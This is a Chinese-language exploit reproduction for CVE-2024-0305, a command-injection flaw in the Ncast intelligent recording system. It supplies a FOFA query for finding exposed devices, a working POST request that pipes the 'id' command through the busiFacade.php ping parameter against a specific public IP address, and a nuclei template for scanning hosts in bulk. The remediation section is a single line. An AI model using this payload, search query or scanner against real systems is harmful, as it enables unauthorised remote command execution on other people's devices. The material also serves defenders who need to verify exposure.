Ncast盈可视高清智能录播系统RCE漏洞（CVE-2024-0305）复现

0x00 漏洞简介

Ncast盈可视高清智能录播系统是广东盈科电子公司的一款产品。

该系统2017及之前版本/classes/common/busiFacade.php接口存在RCE漏洞。

0x01 资产测绘：

fofa-query: app="Ncast-产品" && title=="高清智能录播系统"

0x02 漏洞复现

漏洞POC：

POST /classes/common/busiFacade.php HTTP/1.1
Host: 120.109.30.160
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98

{"name":"ping","serviceName":"SysManager","userTransaction":false,"param":["ping 127.0.0.1 | id"]}

0x03 nuclei 批量验证脚本

id: CVE-2024-0305

info:
  name: Ncast busiFacade - Remote Command Execution
  author: BMCel
  severity: high
  description: |
    The Ncast Yingshi high-definition intelligent recording and playback system is a newly developed audio and video recording and playback system. The system has RCE vulnerabilities in versions 2017 and earlier.
  impact: |
    Allows remote attackers to execute arbitrary code on the affected system.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-0305
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0305
    - https://cxsecurity.com/cveshow/CVE-2024-0305
    - https://vuldb.com/?ctiid.249872
    - https://vuldb.com/?id.249872
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-0305
    epss-score: 0.00064
    epss-percentile: 0.2597
    cpe: cpe:2.3:a:ncast_project:ncast:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ncast_project
    product: ncast
    fofa-query: app="Ncast-产品" && title=="高清智能录播系统"
    zoomeye-query: title:"高清智能录播系统"
  tags: cve,cve2024,ncast,rce

http:
  - raw:
      - |
        POST /classes/common/busiFacade.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest
        {"name":"ping","serviceName":"SysManager","userTransaction":false,"param":["ping 127.0.0.1 | id"]}
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
          - "str"
        condition: and

      - type: status
        status:
          - 200

0x04 修复建议

升级至最新版本。